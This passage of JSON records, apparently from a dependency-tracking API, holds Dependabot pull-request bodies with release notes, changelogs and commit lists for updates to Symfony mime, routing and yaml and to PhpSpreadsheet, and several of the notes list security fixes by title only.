href=\"https://github.com/symfony/mime/compare/v6.4.36...v6.4.37\"\u003ehttps://github.com/symfony/mime/compare/v6.4.36...v6.4.37\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/mime/issues/64047\"\u003e#64047\u003c/a\u003e  Preserve inline part filename instead of overwriting it with the Content-ID (\u003ca href=\"https://github.com/ousamabenyounes\"\u003e\u003ccode\u003e@​ousamabenyounes\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/mime/issues/64044\"\u003e#64044\u003c/a\u003e  Apply tagged MIME type guessers in File::getMimeType() (\u003ca href=\"https://github.com/ousamabenyounes\"\u003e\u003ccode\u003e@​ousamabenyounes\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mime/commit/5575d37f8841e4e31d5df79ab3db078ae557ff8e\"\u003e\u003ccode\u003e5575d37\u003c/code\u003e\u003c/a\u003e [Routing][RateLimiter][Mime][Security] Harden __unserialize against __toStrin...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mime/commit/7ccfb0cc6ff707ac9ca34b6ddab0bc6187436cbe\"\u003e\u003ccode\u003e7ccfb0c\u003c/code\u003e\u003c/a\u003e Merge branch '5.4' into 6.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mime/commit/8f89d3a319b92486b0bcc43c0479d19fdb0e2f64\"\u003e\u003ccode\u003e8f89d3a\u003c/code\u003e\u003c/a\u003e [Mime] Reject email addresses containing line breaks in Address\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mime/commit/f2f05cbae7ac01c045330d168fc655580916ac1f\"\u003e\u003ccode\u003ef2f05cb\u003c/code\u003e\u003c/a\u003e [Mime] Fix transient test\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mime/commit/330077bc7fbe314758aff62834b758d06ac6d260\"\u003e\u003ccode\u003e330077b\u003c/code\u003e\u003c/a\u003e bug \u003ca href=\"https://redirect.github.com/symfony/mime/issues/64047\"\u003e#64047\u003c/a\u003e [Mime] Preserve inline part filename instead of overwriting it wit...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mime/commit/4c7099f8d130a575c1f179191df261856e26ee1b\"\u003e\u003ccode\u003e4c7099f\u003c/code\u003e\u003c/a\u003e [Mime] Preserve inline part filename instead of overwriting it with the Conte...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mime/commit/e2ae51ddb09ddeadd3c711e30b365b670e1794bc\"\u003e\u003ccode\u003ee2ae51d\u003c/code\u003e\u003c/a\u003e [FrameworkBundle] Apply tagged MIME type guessers in File::getMimeType()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mime/commit/3d4867881cef7ebb42e2e8846e09053472edf9b3\"\u003e\u003ccode\u003e3d48678\u003c/code\u003e\u003c/a\u003e More CS fixes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mime/commit/05099f572e09a71bd5adb7ad9fab4b5aadcf5481\"\u003e\u003ccode\u003e05099f5\u003c/code\u003e\u003c/a\u003e CS fixes - native_function_invocation \u0026amp; static_lambda\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mime/commit/f56fd2b0a89486fd3c8e44770919656988add0fb\"\u003e\u003ccode\u003ef56fd2b\u003c/code\u003e\u003c/a\u003e [CS] Back config from 8.1 and apply heredoc_indentation rule\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/symfony/mime/compare/v6.4.36...v6.4.41\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `symfony/routing` from 6.4.34 to 6.4.41\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/symfony/routing/releases\"\u003esymfony/routing's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.4.41\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/routing/compare/v6.4.40...v6.4.41\"\u003ehttps://github.com/symfony/routing/compare/v6.4.40...v6.4.41\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003esecurity #cve-2026-48784  Fix dot-segment encoding for chained \u0026quot;../\u0026quot; and \u0026quot;./\u0026quot; in generated URLs (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/routing/issues/64343\"\u003e#64343\u003c/a\u003e  Harden __unserialize against __toString trampolines (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev6.4.40\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/routing/compare/v6.4.37...v6.4.40\"\u003ehttps://github.com/symfony/routing/compare/v6.4.37...v6.4.40\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003esecurity #cve-2026-45065  Fix regex alternation anchoring in \u003ccode\u003eUrlGenerator\u003c/code\u003e requirement validation (\u003ca href=\"https://github.com/alexandre-daubois\"\u003e\u003ccode\u003e@​alexandre-daubois\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev6.4.37\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/routing/compare/v6.4.34...v6.4.37\"\u003ehttps://github.com/symfony/routing/compare/v6.4.34...v6.4.37\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/routing/issues/63981\"\u003e#63981\u003c/a\u003e  Honor the Request's method in UrlMatcher::matchRequest() (\u003ca href=\"https://github.com/ousamabenyounes\"\u003e\u003ccode\u003e@​ousamabenyounes\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/routing/commit/af04c79671fd8df0805a44c83fa2b0ba56c8329e\"\u003e\u003ccode\u003eaf04c79\u003c/code\u003e\u003c/a\u003e Merge branch '5.4' into 6.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/routing/commit/be4ce34035aa79b8bc3ba1a7d1694435a216f68b\"\u003e\u003ccode\u003ebe4ce34\u003c/code\u003e\u003c/a\u003e [Routing][RateLimiter][Mime][Security] Harden __unserialize against __toStrin...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/routing/commit/f4ca0c533854c26e3b27e981da760807f89e1a42\"\u003e\u003ccode\u003ef4ca0c5\u003c/code\u003e\u003c/a\u003e [Routing] Fix dot-segment encoding for chained \u0026quot;../\u0026quot; and \u0026quot;./\u0026quot; in generated URLs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/routing/commit/0cd0d2fb05382c95dff6b33c51a7c96cbdbc136d\"\u003e\u003ccode\u003e0cd0d2f\u003c/code\u003e\u003c/a\u003e Merge branch '5.4' into 6.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/routing/commit/48035d186798d27d375d95aad37db8fe097e4048\"\u003e\u003ccode\u003e48035d1\u003c/code\u003e\u003c/a\u003e [Routing] Honor the Request's method in UrlMatcher::matchRequest()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/routing/commit/275b31328b2e58cab004be0cf086380e2a5c5ee7\"\u003e\u003ccode\u003e275b313\u003c/code\u003e\u003c/a\u003e [Routing] Fix regex alternation anchoring in UrlGenerator requirement validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/routing/commit/1425c2c2c11c5499c3415035c746d7918661a76e\"\u003e\u003ccode\u003e1425c2c\u003c/code\u003e\u003c/a\u003e More CS fixes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/routing/commit/883d14018234cc6f293faff5e3fd0d3d9b6bc2fb\"\u003e\u003ccode\u003e883d140\u003c/code\u003e\u003c/a\u003e CS fixes - native_function_invocation \u0026amp; static_lambda\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/routing/commit/4bcf92a7914e1253ccece9502678a4154a25e14a\"\u003e\u003ccode\u003e4bcf92a\u003c/code\u003e\u003c/a\u003e [CS] Back config from 8.1 and apply heredoc_indentation rule\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/symfony/routing/compare/v6.4.34...v6.4.41\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `symfony/yaml` from 7.4.8 to 7.4.13\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/symfony/yaml/releases\"\u003esymfony/yaml's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev7.4.13\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/yaml/compare/v7.4.12...v7.4.13\"\u003ehttps://github.com/symfony/yaml/compare/v7.4.12...v7.4.13\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/yaml/issues/64316\"\u003e#64316\u003c/a\u003e  Allow trailing newlines after the end-of-document marker (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.12\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/yaml/compare/v7.4.11...v7.4.12\"\u003ehttps://github.com/symfony/yaml/compare/v7.4.11...v7.4.12\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003esecurity #cve-2026-45305  Harden the Parser::cleanup() regexes against catastrophic backtracking (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003esecurity #cve-2026-45304  Bound collection-alias resolution in the parser (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003esecurity #cve-2026-45133  Bound recursion depth in the parser (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.11\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/yaml/compare/v7.4.10...v7.4.11\"\u003ehttps://github.com/symfony/yaml/compare/v7.4.10...v7.4.11\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/yaml/issues/64196\"\u003e#64196\u003c/a\u003e  Reject non-stringables when using \u0026quot;!!binary\u0026quot; (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.10\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/yaml/compare/v7.4.6...v7.4.10\"\u003ehttps://github.com/symfony/yaml/compare/v7.4.6...v7.4.10\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/yaml/issues/64119\"\u003e#64119\u003c/a\u003e  fix flow collection drops \u003ccode\u003e\u0026amp;anchor\u003c/code\u003e and \u003ccode\u003e!!str \u0026amp;anchor\u003c/code\u003e items (\u003ca href=\"https://github.com/ousamabenyounes\"\u003e\u003ccode\u003e@​ousamabenyounes\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/yaml/commit/a7ec3b1156faf8815db7683ec7c1e7338e6f977c\"\u003e\u003ccode\u003ea7ec3b1\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/yaml/commit/e8fdf3408c85806198d5826e604ffc6830d33152\"\u003e\u003ccode\u003ee8fdf34\u003c/code\u003e\u003c/a\u003e CS fix\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/yaml/commit/4b5658cbd0d9addde73c09299d179e2724b011b1\"\u003e\u003ccode\u003e4b5658c\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/yaml/commit/69b7344651917c541eb1ad85de52ef3649909f3c\"\u003e\u003ccode\u003e69b7344\u003c/code\u003e\u003c/a\u003e Merge branch '5.4' into 6.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/yaml/commit/ae0bbb46f77ff56591d0a0259c7f458f4b3e1f77\"\u003e\u003ccode\u003eae0bbb4\u003c/code\u003e\u003c/a\u003e [Yaml] Allow trailing newlines after the end-of-document marker\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/yaml/commit/8b6952b56ca6417f25f7a65758cadd0ce02edc51\"\u003e\u003ccode\u003e8b6952b\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/yaml/commit/68dcd1f1602dac9d9221e25729683e0ce8733f3b\"\u003e\u003ccode\u003e68dcd1f\u003c/code\u003e\u003c/a\u003e Merge branch '5.4' into 6.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/yaml/commit/b0b27055f055f0d314c5c68ed0c10f0bbd90aee0\"\u003e\u003ccode\u003eb0b2705\u003c/code\u003e\u003c/a\u003e [Yaml] Harden the Parser::cleanup() regexes against catastrophic backtracking\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/yaml/commit/5a351ff7a15e631cd7abaa44f2a5e5fc3f0c43f6\"\u003e\u003ccode\u003e5a351ff\u003c/code\u003e\u003c/a\u003e [Yaml] Bound collection-alias resolution in the parser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/yaml/commit/e2eb64a57763815ccae07ac1c7653d6cc1c326fd\"\u003e\u003ccode\u003ee2eb64a\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/symfony/yaml/compare/v7.4.8...v7.4.13\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/REChain-Network-Solutions/AIPlatform/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/REChain-Network-Solutions/AIPlatform/pull/422","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/REChain-Network-Solutions%2FAIPlatform/issues/422","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/422/packages"}},{"old_version":"1.30.1","new_version":"1.30.4","update_type":"patch","path":null,"pr_created_at":"2026-04-28T23:28:20.000Z","version_change":"1.30.1 → 1.30.4","issue":{"uuid":"4346892180","node_id":"PR_kwDOGuRGbc7Whk9L","number":39,"state":"closed","title":"Bump phpoffice/phpspreadsheet from 1.30.1 to 1.30.4","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-06-08T23:38:42.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-28T23:28:20.000Z","updated_at":"2026-06-08T23:38:43.000Z","time_to_close":3543022,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"1.30.1","new_version":"1.30.4","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 1.30.1 to 1.30.4.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.30.4\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.3\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.2\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/1.30.4/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-19 - 1.30.4\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-04-09 - 1.30.3\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-01-10 - 1.30.2\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/02970383cc12e7bf0bc0707ea6e2e8ed23a7aec9\"\u003e\u003ccode\u003e0297038\u003c/code\u003e\u003c/a\u003e Security Patches\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/d28d4827f934469e7ca4de940ab0abd0788d1e65\"\u003e\u003ccode\u003ed28d482\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/87a0eb5442987300d0a84fb9f0ce197efcf25bb9\"\u003e\u003ccode\u003e87a0eb5\u003c/code\u003e\u003c/a\u003e Option to Whitelist External Images r129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4854\"\u003e#4854\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/b6c44a4ce907c4a861db040999eb58fb59570c14\"\u003e\u003ccode\u003eb6c44a4\u003c/code\u003e\u003c/a\u003e Security Patches\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/791986826cabb4c86f2dca9f8cdef3f5ec1a6aee\"\u003e\u003ccode\u003e7919868\u003c/code\u003e\u003c/a\u003e Update License 1.30.x\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/09cdde5e2f078b9a3358dd217e2c8cb4dac84be2\"\u003e\u003ccode\u003e09cdde5\u003c/code\u003e\u003c/a\u003e Instantiator Problem (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4778\"\u003e#4778\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4ad82d2ffcba5de36d5790f7a88910e977a886e3\"\u003e\u003ccode\u003e4ad82d2\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/1ca2b80689ec464bd66e8cde654c278cb6f2d101\"\u003e\u003ccode\u003e1ca2b80\u003c/code\u003e\u003c/a\u003e Changes to WEBSERVICE R129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4758\"\u003e#4758\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/e86246354c7e79771705945377c743edc1246435\"\u003e\u003ccode\u003ee862463\u003c/code\u003e\u003c/a\u003e Update README With New Branch Names\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/1.30.1...1.30.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=1.30.1\u0026new-version=1.30.4)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/ibauk/sm3/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/ibauk/sm3/pull/39","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/ibauk%2Fsm3/issues/39","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/39/packages"}},{"old_version":"1.30.0","new_version":"1.30.4","update_type":"patch","path":null,"pr_created_at":"2026-04-28T23:27:39.000Z","version_change":"1.30.0 → 1.30.4","issue":{"uuid":"4346890033","node_id":"PR_kwDOP37mz87Whkha","number":16,"state":"open","title":"Bump phpoffice/phpspreadsheet from 1.30.0 to 